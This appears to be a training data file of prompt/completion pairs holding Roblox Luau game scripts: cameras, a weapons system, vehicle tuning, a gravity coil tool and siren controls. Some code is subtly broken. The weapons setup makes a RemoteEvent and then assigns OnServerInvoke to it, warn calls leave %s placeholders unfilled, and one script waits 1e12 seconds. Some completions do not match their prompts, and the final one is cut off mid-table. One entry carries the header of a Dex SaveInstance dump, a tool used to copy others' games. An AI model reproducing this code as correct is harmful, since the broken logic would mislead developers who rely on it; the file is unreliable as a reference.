prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- GuiObject to apply the shimmer to
local guiObject = script.Parent
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 180 , spInc = 20 , -- Increment between labelled notches }, { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 289 , spInc = 40 , -- Increment between labelled notches }, { units = "SPS" , scaling = 1 , -- Roblox standard maxSpeed = 289 , spInc = 40 , -- Increment between labelled notches } }
--[[ Adds a Spring to be updated every render step. ]]
function SpringScheduler.add(spring: Spring) local damping: number local speed: number if spring._dampingIsState then local state: PubTypes.StateObject<number> = spring._damping damping = state:get(false) else damping = spring._damping end if spring._speedIsState then local state: PubTypes.StateObject<number> = spring._speed speed = state:get(false) else speed = spring._speed end if typeof(damping) ~= "number" then logError("mistypedSpringDamping", nil, typeof(damping)) elseif damping < 0 then logError("invalidSpringDamping", nil, damping) end if typeof(speed) ~= "number" then logError("mistypedSpringSpeed", nil, typeof(speed)) elseif speed < 0 then logError("invalidSpringSpeed", nil, speed) end spring._lastDamping = damping spring._lastSpeed = speed local dampingBucket = springBuckets[damping] if dampingBucket == nil then dampingBucket = {} springBuckets[damping] = dampingBucket end local speedBucket = dampingBucket[speed] if speedBucket == nil then speedBucket = {} dampingBucket[speed] = speedBucket end speedBucket[spring] = true end
-- Place this script inside a LocalScript in a part or a GUI button
local button = script.Parent -- Assuming the script is inside a button's LocalScript local objectToClone = game.Workspace.Dummy -- Replace "ObjectToClone" with the name of the object you want to clone button.MouseButton1Click:Connect(function() local clonedObject = objectToClone:Clone() clonedObject.Parent = game.Workspace -- Adjust the parent as needed clonedObject.Anchored = false -- Additional customization for the cloned object can be done here -- Optional: Make the cloned object disappear after a few seconds spawn(function() wait(1000000000000) -- Adjust the delay as needed clonedObject:Destroy() end) end)
--[[Weight and CG]]
Tune.Weight = 4000 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 8.6 , --[[Height]] 7.9 , --[[Length]] 32.8 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible
----- local -----
local BuyCasesEvents = game:GetService("ReplicatedStorage").Events.BuyCase local OpenCasesEvents = game:GetService("ReplicatedStorage").Events.OpenCase local MessagesEvents = game:GetService("ReplicatedStorage").Events.Messages
-- you can mess with these settings
CanToggleMouse = {allowed = true; activationkey = Enum.KeyCode.F;} -- lets you move your mouse around in firstperson CanViewBody = true -- whether you see your body Sensitivity = 0.6 -- anything higher would make looking up and down harder; recommend anything between 0~1 Smoothness = 0.05 -- recommend anything between 0~1 FieldOfView = 100 -- fov HeadOffset = CFrame.new(0,0.7,0) -- how far your camera is from your head local cam = game.Workspace.CurrentCamera local player = players.LocalPlayer local m = player:GetMouse() m.Icon = "http://www.roblox.com/asset/?id=569021388" -- replaces mouse icon local character = player.Character or player.CharacterAdded:wait() local human = character.Humanoid local humanoidpart = character.HumanoidRootPart local head = character:WaitForChild("Head") local CamPos,TargetCamPos = cam.CoordinateFrame.p,cam.CoordinateFrame.p local AngleX,TargetAngleX = 0,0 local AngleY,TargetAngleY = 0,0 local running = true local freemouse = false local defFOV = FieldOfView local w, a, s, d, lshift = false, false, false, false, false
-------- OMG HAX
r = game:service("RunService") Tool = script.Parent local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass local gravity = .75 -- things float at > 1 local ghostEffect = nil local massCon1 = nil local massCon2 = nil function recursiveGetLift(node) local m = 0 local c = node:GetChildren() for i=1,#c do if c[i].className == "Part" then if c[i].Name == "Handle" then m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height else m = m + (c[i]:GetMass() * equalizingForce * gravity) end end m = m + recursiveGetLift(c[i]) end return m end function onMassChanged(child, char) print("Mass changed:" .. child.Name .. " " .. char.Name) if (ghostEffect ~= nil) then ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0) end end function UpdateGhostState(isUnequipping) if isUnequipping == true then ghostEffect:Remove() ghostEffect = nil massCon1:disconnect() massCon2:disconnect() else if ghostEffect == nil then local char = Tool.Parent if char == nil then return end ghostEffect = Instance.new("BodyForce") ghostEffect.Name = "GravityCoilEffect" ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0) ghostEffect.Parent = char.Head ghostChar = char massCon1 = char.ChildAdded:connect(function(child) onMassChanged(child, char) end) massCon2 = char.ChildRemoved:connect(function(child) onMassChanged(child, char) end) end end end function onEquipped() Tool.Handle.CoilSound:Play() UpdateGhostState(false) end function onUnequipped() UpdateGhostState(true) end script.Parent.Equipped:connect(onEquipped) script.Parent.Unequipped:connect(onUnequipped)
-- Set up the Local Player
if RunService:IsClient() then if LocalPlayer.Character then onCharacterAdded(LocalPlayer.Character) end LocalPlayer.CharacterAdded:Connect(onCharacterAdded) LocalPlayer.CharacterRemoving:Connect(onCharacterRemoving) end local ShoulderCamera = {} ShoulderCamera.__index = ShoulderCamera ShoulderCamera.SpringService = nil function ShoulderCamera.new(weaponsSystem) local self = setmetatable({}, ShoulderCamera) self.weaponsSystem = weaponsSystem -- Configuration parameters (constants) self.fieldOfView = 70 self.minPitch = math.rad(-75) -- min degrees camera can angle down self.maxPitch = math.rad(75) -- max degrees camera can cangle up self.normalOffset = Vector3.new(2.25, 2.25, 10.5) -- this is the camera's offset from the player self.zoomedOffsetDistance = 8 -- number of studs to zoom in from default offset when zooming self.normalCrosshairScale = 1 self.zoomedCrosshairScale = 0.75 self.defaultZoomFactor = 1 self.canZoom = true self.zoomInputs = { Enum.UserInputType.MouseButton2, Enum.KeyCode.ButtonL2 } self.sprintInputs = { Enum.KeyCode.LeftShift } self.mouseRadsPerPixel = Vector2.new(1 / 480, 1 / 480) self.zoomedMouseRadsPerPixel = Vector2.new(1 / 1200, 1 / 1200) self.touchSensitivity = Vector2.new(1 / 100, 1 / 100) self.zoomedTouchSensitivity = Vector2.new(1 / 200, 1 / 200) self.touchDelayTime = 0.25 -- max time for a touch to count as a tap (to shoot the weapon instead of control camera), -- also the amount of time players have to start a second touch after releasing the first time to trigger automatic fire self.recoilDecay = 2 -- higher number means faster recoil decay rate self.rotateCharacterWithCamera = true self.gamepadSensitivityModifier = Vector2.new(0.85, 0.65) -- Walk speeds self.zoomWalkSpeed = 8 self.normalWalkSpeed = 16 self.sprintingWalkSpeed = 24 -- Current state self.enabled = false self.yaw = 0 self.pitch = 0 self.currentCFrame = CFrame.new() self.currentOffset = self.normalOffset self.currentRecoil = Vector2.new(0, 0) self.currentMouseRadsPerPixel = self.mouseRadsPerPixel self.currentTouchSensitivity = self.touchSensitivity self.mouseLocked = true self.touchPanAccumulator = Vector2.new(0, 0) -- used for touch devices, represents amount the player has dragged their finger since starting a touch self.currentTool = nil self.sprintingInputActivated = false self.desiredWalkSpeed = self.normalWalkSpeed self.sprintEnabled = false -- true means player will move faster while doing sprint inputs self.slowZoomWalkEnabled = false -- true means player will move slower while doing zoom inputs self.desiredFieldOfView = self.fieldOfView -- Zoom variables self.zoomedFromInput = false -- true if player has performed input to zoom self.forcedZoomed = false -- ignores zoomedFromInput and canZoom self.zoomState = false -- true if player is currently zoomed in self.zoomAlpha = 0 self.hasScope = false self.hideToolWhileZoomed = false self.currentZoomFactor = self.defaultZoomFactor self.zoomedFOV = self.fieldOfView -- Gamepad variables self.gamepadPan = Vector2.new(0, 0) -- essentially the amount the gamepad has moved from resting position self.movementPan = Vector2.new(0, 0) -- this is for movement (gamepadPan is for camera) self.lastThumbstickPos = Vector2.new(0, 0) self.lastThumbstickTime = nil self.currentGamepadSpeed = 0 self.lastGamepadVelocity = Vector2.new(0, 0) -- Occlusion self.lastOcclusionDistance = 0 self.lastOcclusionReachedTime = 0 -- marks the last time camera was at the true occlusion distance self.defaultTimeUntilZoomOut = 0 self.timeUntilZoomOut = self.defaultTimeUntilZoomOut -- time after lastOcclusionReachedTime that camera will zoom out self.timeLastPoppedWayIn = 0 -- this holds the last time camera popped nearly into first person self.isZoomingOut = false self.tweenOutTime = 0.2 self.curOcclusionTween = nil self.occlusionTweenObject = nil -- Side correction (when player is against a wall) self.sideCorrectionGoalVector = nil self.lastSideCorrectionMagnitude = 0 self.lastSideCorrectionReachedTime = 0 -- marks the last time the camera was at the true correction distance self.revertSideCorrectionSpeedMultiplier = 2 -- speed at which camera reverts the side correction (towards 0 correction) self.defaultTimeUntilRevertSideCorrection = 0.75 self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection -- time after lastSideCorrectionReachedTime that camera will revert the correction self.isRevertingSideCorrection = false -- Datamodel references self.eventConnections = {} self.raycastIgnoreList = {} self.currentCamera = nil self.currentCharacter = nil self.currentHumanoid = nil self.currentRootPart = nil self.controlModule = nil -- used to get player's touch input for moving character self.random = Random.new() return self end function ShoulderCamera:setEnabled(enabled) if self.enabled == enabled then return end self.enabled = enabled if self.enabled then RunService:BindToRenderStep(CAMERA_RENDERSTEP_NAME, Enum.RenderPriority.Camera.Value - 1, function(dt) self:onRenderStep(dt) end) ContextActionService:BindAction(ZOOM_ACTION_NAME, function(...) self:onZoomAction(...) end, false, unpack(self.zoomInputs)) ContextActionService:BindAction(SPRINT_ACTION_NAME, function(...) self:onSprintAction(...) end, false, unpack(self.sprintInputs)) table.insert(self.eventConnections, LocalPlayer.CharacterAdded:Connect(function(character) self:onCurrentCharacterChanged(character) end)) table.insert(self.eventConnections, LocalPlayer.CharacterRemoving:Connect(function() self:onCurrentCharacterChanged(nil) end)) table.insert(self.eventConnections, workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function() self:onCurrentCameraChanged(workspace.CurrentCamera) end)) table.insert(self.eventConnections, UserInputService.InputBegan:Connect(function(inputObj, wasProcessed) self:onInputBegan(inputObj, wasProcessed) end)) table.insert(self.eventConnections, UserInputService.InputChanged:Connect(function(inputObj, wasProcessed) self:onInputChanged(inputObj, wasProcessed) end)) table.insert(self.eventConnections, UserInputService.InputEnded:Connect(function(inputObj, wasProcessed) self:onInputEnded(inputObj, wasProcessed) end)) self:onCurrentCharacterChanged(LocalPlayer.Character) self:onCurrentCameraChanged(workspace.CurrentCamera) -- Make transition to shouldercamera smooth by facing in same direction as previous camera local cameraLook = self.currentCamera.CFrame.lookVector self.yaw = math.atan2(-cameraLook.X, -cameraLook.Z) self.pitch = math.asin(cameraLook.Y) self.currentCamera.CameraType = Enum.CameraType.Scriptable self:setZoomFactor(self.currentZoomFactor) -- this ensures that zoomedFOV reflecs currentZoomFactor workspace.CurrentCamera.CameraSubject = self.currentRootPart self.occlusionTweenObject = Instance.new("NumberValue") self.occlusionTweenObject.Name = "OcclusionTweenObject" self.occlusionTweenObject.Parent = script self.occlusionTweenObject.Changed:Connect(function(value) self.lastOcclusionDistance = value end) -- Sets up weapon system to use camera for raycast direction instead of gun look vector self.weaponsSystem.aimRayCallback = function() local cameraCFrame = self.currentCFrame return Ray.new(cameraCFrame.p, cameraCFrame.LookVector * 500) end else RunService:UnbindFromRenderStep(CAMERA_RENDERSTEP_NAME) ContextActionService:UnbindAction(ZOOM_ACTION_NAME) ContextActionService:UnbindAction(SPRINT_ACTION_NAME) if self.currentHumanoid then self.currentHumanoid.AutoRotate = true end if self.currentCamera then self.currentCamera.CameraType = Enum.CameraType.Custom --#KM[Resets the camera position] self.currentCamera.CameraSubject = self.currentHumanoid end self:updateZoomState() self.yaw = 0 self.pitch = 0 for _, conn in pairs(self.eventConnections) do conn:Disconnect() end self.eventConnections = {} UserInputService.MouseBehavior = Enum.MouseBehavior.Default UserInputService.MouseIconEnabled = true end end function ShoulderCamera:onRenderStep(dt) if not self.enabled or not self.currentCamera or not self.currentCharacter or not self.currentHumanoid or not self.currentRootPart then return end -- Hide mouse and lock to center if applicable if self.mouseLocked and not GuiService:GetEmotesMenuOpen() then UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter UserInputService.MouseIconEnabled = false else UserInputService.MouseBehavior = Enum.MouseBehavior.Default UserInputService.MouseIconEnabled = true end -- Handle gamepad input self:processGamepadInput(dt) -- Smoothly zoom to desired values if self.hasScope then ShoulderCamera.SpringService:Target(self, 0.8, 8, { zoomAlpha = self.zoomState and 1 or 0 }) ShoulderCamera.SpringService:Target(self.currentCamera, 0.8, 8, { FieldOfView = self.desiredFieldOfView }) else ShoulderCamera.SpringService:Target(self, 0.8, 3, { zoomAlpha = self.zoomState and 1 or 0 }) ShoulderCamera.SpringService:Target(self.currentCamera, 0.8, 3, { FieldOfView = self.desiredFieldOfView }) end -- Handle walk speed changes if self.sprintEnabled or self.slowZoomWalkEnabled then self.desiredWalkSpeed = self.normalWalkSpeed if self.sprintEnabled and (self.sprintingInputActivated or self:sprintFromTouchInput() or self:sprintFromGamepadInput()) and not self.zoomState then self.desiredWalkSpeed = self.sprintingWalkSpeed end if self.slowZoomWalkEnabled and self.zoomAlpha > 0.1 then self.desiredWalkSpeed = self.zoomWalkSpeed end ShoulderCamera.SpringService:Target(self.currentHumanoid, 0.95, 4, { WalkSpeed = self.desiredWalkSpeed }) end -- Initialize variables used for side correction, occlusion, and calculating camera focus/rotation local rootPartPos = self.currentRootPart.CFrame.Position local rootPartUnrotatedCFrame = CFrame.new(rootPartPos) local yawRotation = CFrame.Angles(0, self.yaw, 0) local pitchRotation = CFrame.Angles(self.pitch + self.currentRecoil.Y, 0, 0) local xOffset = CFrame.new(self.normalOffset.X, 0, 0) local yOffset = CFrame.new(0, self.normalOffset.Y, 0) local zOffset = CFrame.new(0, 0, self.normalOffset.Z) local collisionRadius = self:getCollisionRadius() local cameraYawRotationAndXOffset = yawRotation * -- First rotate around the Y axis (look left/right) xOffset -- Then perform the desired offset (so camera is centered to side of player instead of directly on player) local cameraFocus = rootPartUnrotatedCFrame * cameraYawRotationAndXOffset -- Handle/Calculate side correction when player is adjacent to a wall (so camera doesn't go in the wall) local vecToFocus = cameraFocus.p - rootPartPos local rayToFocus = Ray.new(rootPartPos, vecToFocus + (vecToFocus.Unit * collisionRadius)) local hitPart, hitPoint, hitNormal = self:penetrateCast(rayToFocus, self.raycastIgnoreList) local currentTime = tick() local sideCorrectionGoalVector = Vector3.new() -- if nothing is adjacent to player, goal vector is (0, 0, 0) if hitPart then hitPoint = hitPoint + (hitNormal * collisionRadius) sideCorrectionGoalVector = hitPoint - cameraFocus.p if sideCorrectionGoalVector.Magnitude >= self.lastSideCorrectionMagnitude then -- make it easy for camera to pop closer to player (move left) if currentTime > self.lastSideCorrectionReachedTime + self.timeUntilRevertSideCorrection and self.lastSideCorrectionMagnitude ~= 0 then self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection * 2 -- double time until revert if popping in repeatedly elseif self.lastSideCorrectionMagnitude == 0 and self.timeUntilRevertSideCorrection ~= self.defaultTimeUntilRevertSideCorrection then self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection end self.lastSideCorrectionMagnitude = sideCorrectionGoalVector.Magnitude self.lastSideCorrectionReachedTime = currentTime self.isRevertingSideCorrection = false else self.isRevertingSideCorrection = true end elseif self.lastSideCorrectionMagnitude ~= 0 then self.isRevertingSideCorrection = true end if self.isRevertingSideCorrection then -- make it hard/slow for camera to revert side correction (move right) if sideCorrectionGoalVector.Magnitude > self.lastSideCorrectionMagnitude - 1 and sideCorrectionGoalVector.Magnitude ~= 0 then self.lastSideCorrectionReachedTime = currentTime -- reset timer if occlusion significantly increased since last frame end if currentTime > self.lastSideCorrectionReachedTime + self.timeUntilRevertSideCorrection then local sideCorrectionChangeAmount = dt * (vecToFocus.Magnitude) * self.revertSideCorrectionSpeedMultiplier self.lastSideCorrectionMagnitude = self.lastSideCorrectionMagnitude - sideCorrectionChangeAmount if sideCorrectionGoalVector.Magnitude >= self.lastSideCorrectionMagnitude then self.lastSideCorrectionMagnitude = sideCorrectionGoalVector.Magnitude self.lastSideCorrectionReachedTime = currentTime self.isRevertingSideCorrection = false end end end -- Update cameraFocus to reflect side correction cameraYawRotationAndXOffset = cameraYawRotationAndXOffset + (-vecToFocus.Unit * self.lastSideCorrectionMagnitude) cameraFocus = rootPartUnrotatedCFrame * cameraYawRotationAndXOffset self.currentCamera.Focus = cameraFocus -- Calculate and apply CFrame for camera local cameraCFrameInSubjectSpace = cameraYawRotationAndXOffset * pitchRotation * -- rotate around the X axis (look up/down) yOffset * -- move camera up/vertically zOffset -- move camera back self.currentCFrame = rootPartUnrotatedCFrame * cameraCFrameInSubjectSpace -- Move camera forward if zoomed in if self.zoomAlpha > 0 then local trueZoomedOffset = math.max(self.zoomedOffsetDistance - self.lastOcclusionDistance, 0) -- don't zoom too far in if already occluded self.currentCFrame = self.currentCFrame:lerp(self.currentCFrame + trueZoomedOffset * self.currentCFrame.LookVector.Unit, self.zoomAlpha) end self.currentCamera.CFrame = self.currentCFrame -- Handle occlusion local occlusionDistance = self.currentCamera:GetLargestCutoffDistance(self.raycastIgnoreList) if occlusionDistance > 1e-5 then occlusionDistance = occlusionDistance + collisionRadius end if occlusionDistance >= self.lastOcclusionDistance then -- make it easy for the camera to pop in towards the player if self.curOcclusionTween ~= nil then self.curOcclusionTween:Cancel() self.curOcclusionTween = nil end if currentTime > self.lastOcclusionReachedTime + self.timeUntilZoomOut and self.lastOcclusionDistance ~= 0 then self.timeUntilZoomOut = self.defaultTimeUntilZoomOut * 2 -- double time until zoom out if popping in repeatedly elseif self.lastOcclusionDistance == 0 and self.timeUntilZoomOut ~= self.defaultTimeUntilZoomOut then self.timeUntilZoomOut = self.defaultTimeUntilZoomOut end if occlusionDistance / self.normalOffset.Z > 0.8 and self.timeLastPoppedWayIn == 0 then self.timeLastPoppedWayIn = currentTime end self.lastOcclusionDistance = occlusionDistance self.lastOcclusionReachedTime = currentTime self.isZoomingOut = false else -- make it hard/slow for camera to zoom out self.isZoomingOut = true if occlusionDistance > self.lastOcclusionDistance - 2 and occlusionDistance ~= 0 then -- reset timer if occlusion significantly increased since last frame self.lastOcclusionReachedTime = currentTime end -- If occlusion pops camera in to almost first person for a short time, pop out instantly if currentTime < self.timeLastPoppedWayIn + self.defaultTimeUntilZoomOut and self.lastOcclusionDistance / self.normalOffset.Z > 0.8 then self.lastOcclusionDistance = occlusionDistance self.lastOcclusionReachedTime = currentTime self.isZoomingOut = false elseif currentTime >= self.timeLastPoppedWayIn + self.defaultTimeUntilZoomOut and self.timeLastPoppedWayIn ~= 0 then self.timeLastPoppedWayIn = 0 end end -- Update occlusion amount if timeout time has passed if currentTime >= self.lastOcclusionReachedTime + self.timeUntilZoomOut and not self.zoomState then if self.curOcclusionTween == nil then self.occlusionTweenObject.Value = self.lastOcclusionDistance local tweenInfo = TweenInfo.new(self.tweenOutTime) local goal = {} goal.Value = self.lastOcclusionDistance - self.normalOffset.Z self.curOcclusionTween = TweenService:Create(self.occlusionTweenObject, tweenInfo, goal) self.curOcclusionTween:Play() end end -- Apply occlusion to camera CFrame local currentOffsetDir = self.currentCFrame.LookVector.Unit self.currentCFrame = self.currentCFrame + (currentOffsetDir * self.lastOcclusionDistance) self.currentCamera.CFrame = self.currentCFrame -- Apply recoil decay self.currentRecoil = self.currentRecoil - (self.currentRecoil * self.recoilDecay * dt) if self:isHumanoidControllable() and self.rotateCharacterWithCamera then self.currentHumanoid.AutoRotate = false self.currentRootPart.CFrame = CFrame.Angles(0, self.yaw, 0) + self.currentRootPart.Position -- rotate character to be upright and facing the same direction as camera self:applyRootJointFix() else self.currentHumanoid.AutoRotate = true end self:handlePartTransparencies() self:handleTouchToolFiring() end
--Set up WeaponTypes lookup table
do local function onNewWeaponType(weaponTypeModule) if not weaponTypeModule:IsA("ModuleScript") then return end local weaponTypeName = weaponTypeModule.Name xpcall(function() coroutine.wrap(function() local weaponType = require(weaponTypeModule) assert(typeof(weaponType) == "table", string.format("WeaponType \"%s\" did not return a valid table", weaponTypeModule:GetFullName())) WEAPON_TYPES_LOOKUP[weaponTypeName] = weaponType end)() end, function(errMsg) warn(string.format("Error while loading %s: %s", weaponTypeModule:GetFullName(), errMsg)) warn(debug.traceback()) end) end for _, child in pairs(WeaponTypes:GetChildren()) do onNewWeaponType(child) end WeaponTypes.ChildAdded:Connect(onNewWeaponType) end local WeaponsSystem = {} WeaponsSystem.didSetup = false WeaponsSystem.knownWeapons = {} WeaponsSystem.connections = {} WeaponsSystem.networkFolder = nil WeaponsSystem.remoteEvents = {} WeaponsSystem.remoteFunctions = {} WeaponsSystem.currentWeapon = nil WeaponsSystem.aimRayCallback = nil WeaponsSystem.CurrentWeaponChanged = Instance.new("BindableEvent") local NetworkingCallbacks = require(WeaponsSystemFolder:WaitForChild("NetworkingCallbacks")) NetworkingCallbacks.WeaponsSystem = WeaponsSystem local _damageCallback = nil local _getTeamCallback = nil function WeaponsSystem.setDamageCallback(cb) _damageCallback = cb end function WeaponsSystem.setGetTeamCallback(cb) _getTeamCallback = cb end function WeaponsSystem.setup() if WeaponsSystem.didSetup then warn("Warning: trying to run WeaponsSystem setup twice on the same module.") return end print(script.Parent:GetFullName(), "is now active.") WeaponsSystem.doingSetup = true --Setup network routing if IsServer then local networkFolder = Instance.new("Folder") networkFolder.Name = "Network" for _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do local remoteEvent = Instance.new("RemoteEvent") remoteEvent.Name = remoteEventName remoteEvent.Parent = networkFolder local callback = NetworkingCallbacks[remoteEventName] if not callback then --Connect a no-op function to ensure the queue doesn't pile up. warn("There is no server callback implemented for the WeaponsSystem RemoteEvent \"%s\"!") warn("A default no-op function will be implemented so that the queue cannot be abused.") callback = function() end end WeaponsSystem.connections[remoteEventName .. "Remote"] = remoteEvent.OnServerEvent:Connect(function(...) callback(...) end) WeaponsSystem.remoteEvents[remoteEventName] = remoteEvent end for _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do local remoteFunc = Instance.new("RemoteEvent") remoteFunc.Name = remoteFuncName remoteFunc.Parent = networkFolder local callback = NetworkingCallbacks[remoteFuncName] if not callback then --Connect a no-op function to ensure the queue doesn't pile up. warn("There is no server callback implemented for the WeaponsSystem RemoteFunction \"%s\"!") warn("A default no-op function will be implemented so that the queue cannot be abused.") callback = function() end end remoteFunc.OnServerInvoke = function(...) return callback(...) end WeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc end networkFolder.Parent = WeaponsSystemFolder WeaponsSystem.networkFolder = networkFolder else WeaponsSystem.StarterGui = game:GetService("StarterGui") WeaponsSystem.camera = ShoulderCamera.new(WeaponsSystem) WeaponsSystem.gui = WeaponsGui.new(WeaponsSystem) if ConfigurationValues.SprintEnabled.Value then WeaponsSystem.camera:setSprintEnabled(ConfigurationValues.SprintEnabled.Value) end if ConfigurationValues.SlowZoomWalkEnabled.Value then WeaponsSystem.camera:setSlowZoomWalkEnabled(ConfigurationValues.SlowZoomWalkEnabled.Value) end local networkFolder = WeaponsSystemFolder:WaitForChild("Network", math.huge) for _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do coroutine.wrap(function() local remoteEvent = networkFolder:WaitForChild(remoteEventName, math.huge) local callback = NetworkingCallbacks[remoteEventName] if callback then WeaponsSystem.connections[remoteEventName .. "Remote"] = remoteEvent.OnClientEvent:Connect(function(...) callback(...) end) end WeaponsSystem.remoteEvents[remoteEventName] = remoteEvent end)() end for _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do coroutine.wrap(function() local remoteFunc = networkFolder:WaitForChild(remoteFuncName, math.huge) local callback = NetworkingCallbacks[remoteFuncName] if callback then remoteFunc.OnClientInvoke = function(...) return callback(...) end end WeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc end)() end Players.LocalPlayer.CharacterAdded:Connect(WeaponsSystem.onCharacterAdded) if Players.LocalPlayer.Character then WeaponsSystem.onCharacterAdded(Players.LocalPlayer.Character) end WeaponsSystem.networkFolder = networkFolder
-- Put this script in StarterPack or StarterGui
Player = game.Players.LocalPlayer repeat wait() until Player.Character Mouser = Player:GetMouse() name = Player.Name char = game.Workspace[Player.Name] Animation = script.Anim animtrack = char.Humanoid:LoadAnimation(Animation) Mouser.KeyDown:connect(function(key) if key == "c" then animtrack:Play() char.Humanoid.WalkSpeed = 8 end end) Mouser.KeyUp:connect(function(key) if key == "c" then script.Disabled = true animtrack:Stop() char.Humanoid.WalkSpeed = 16 script.Disabled = false end end)
-- Return whether left or right shift keys are down
local function IsShiftKeyDown() return UserInputService:IsKeyDown(shiftKeyL) or UserInputService:IsKeyDown(shiftKeyR) end
--[[ Thank you for using Dex SaveInstance. You are recommended to save the game (if you used saveplace) right away to take advantage of the binary format (if you didn't save in binary). If your player cannot spawn into the game, please move the scripts in StarterPlayer elsewhere. (This is done by default) If the chat system does not work, please use the explorer and delete everything inside the Chat service. (Or run game:GetService("Chat"):ClearAllChildren()) If union and meshpart collisions don't work, first run this script in the Studio command bar: local list = {} local coreGui = game:GetService("CoreGui") for i,v in pairs(game:GetDescendants()) do local s,e = pcall(function() return v:IsA("UnionOperation") or v:IsA("MeshPart") end) if s and e and not v:IsDescendantOf(coreGui) then list[#list+1] = v end end game.Selection:Set(list) After running it, go to the Properties window and change CollisionFidelity from "Box" to "Default". This file was generated with the following settings: IgnoreDefaultProps = true Callback = false Binary = true Decompile = false ShowStatus = true Clipboard = false RemovePlayerCharacters = true MaxThreads = 3 DecompileIgnore = { "Chat", "CoreGui", "CorePackages" } IsolateStarterPlayer = true SavePlayers = false DecompileTimeout = 10 NilInstances = false ]]
NilInstances = false
--// # key, Yelp
mouse.KeyDown:connect(function(key) if key=="t" then if veh.Lightbar.middle.Yelp.IsPlaying == true then veh.Lightbar.middle.Wail:Stop() veh.Lightbar.middle.Yelp:Stop() veh.Lightbar.middle.Priority:Stop() script.Parent.Parent.Sirens.Yelp.BackgroundColor3 = Color3.fromRGB(62, 62, 62) else veh.Lightbar.middle.Wail:Stop() veh.Lightbar.middle.Yelp:Play() veh.Lightbar.middle.Priority:Stop() script.Parent.Parent.Sirens.Yelp.BackgroundColor3 = Color3.fromRGB(215, 135, 110) script.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(62, 62, 62) script.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(62, 62, 62) end end end)
--script.Parent.QQ.Velocity = script.Parent.QQ.CFrame.lookVector *script.Parent.Speed.Value --script.Parent.QQQ.Velocity = script.Parent.QQQ.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.R.Velocity = script.Parent.R.CFrame.lookVector *script.Parent.Speed.Value
-- Set up the Local Player
if RunService:IsClient() then if LocalPlayer.Character then onCharacterAdded(LocalPlayer.Character) end LocalPlayer.CharacterAdded:Connect(onCharacterAdded) LocalPlayer.CharacterRemoving:Connect(onCharacterRemoving) end local ShoulderCamera = {} ShoulderCamera.__index = ShoulderCamera ShoulderCamera.SpringService = nil function ShoulderCamera.new(weaponsSystem) local self = setmetatable({}, ShoulderCamera) self.weaponsSystem = weaponsSystem -- Configuration parameters (constants) self.fieldOfView = 70 self.minPitch = math.rad(-75) -- min degrees camera can angle down self.maxPitch = math.rad(75) -- max degrees camera can cangle up self.normalOffset = Vector3.new(2.25, 2.25, 10.5) -- this is the camera's offset from the player self.zoomedOffsetDistance = 8 -- number of studs to zoom in from default offset when zooming self.normalCrosshairScale = 1 self.zoomedCrosshairScale = 0.75 self.defaultZoomFactor = 1 self.canZoom = true self.zoomInputs = { Enum.UserInputType.MouseButton2, Enum.KeyCode.ButtonR2 } self.sprintInputs = { Enum.KeyCode.LeftShift, Enum.KeyCode.ButtonL2, Enum.KeyCode.RightShift } self.mouseRadsPerPixel = Vector2.new(1 / 480, 1 / 480) self.zoomedMouseRadsPerPixel = Vector2.new(1 / 1200, 1 / 1200) self.touchSensitivity = Vector2.new(1 / 100, 1 / 100) self.zoomedTouchSensitivity = Vector2.new(1 / 200, 1 / 200) self.touchDelayTime = 0.25 -- max time for a touch to count as a tap (to shoot the weapon instead of control camera), -- also the amount of time players have to start a second touch after releasing the first time to trigger automatic fire self.recoilDecay = 2 -- higher number means faster recoil decay rate self.rotateCharacterWithCamera = true self.gamepadSensitivityModifier = Vector2.new(0.85, 0.65) -- Walk speeds self.zoomWalkSpeed = 8 self.normalWalkSpeed = 16 self.sprintingWalkSpeed = 24 -- Current state self.enabled = false self.yaw = 0 self.pitch = 0 self.currentCFrame = CFrame.new() self.currentOffset = self.normalOffset self.currentRecoil = Vector2.new(0, 0) self.currentMouseRadsPerPixel = self.mouseRadsPerPixel self.currentTouchSensitivity = self.touchSensitivity self.mouseLocked = true self.touchPanAccumulator = Vector2.new(0, 0) -- used for touch devices, represents amount the player has dragged their finger since starting a touch self.currentTool = nil self.sprintingInputActivated = false self.desiredWalkSpeed = self.normalWalkSpeed self.sprintEnabled = false -- true means player will move faster while doing sprint inputs self.slowZoomWalkEnabled = false -- true means player will move slower while doing zoom inputs self.desiredFieldOfView = self.fieldOfView -- Zoom variables self.zoomedFromInput = false -- true if player has performed input to zoom self.forcedZoomed = false -- ignores zoomedFromInput and canZoom self.zoomState = false -- true if player is currently zoomed in self.zoomAlpha = 0 self.hasScope = false self.hideToolWhileZoomed = false self.currentZoomFactor = self.defaultZoomFactor self.zoomedFOV = self.fieldOfView -- Gamepad variables 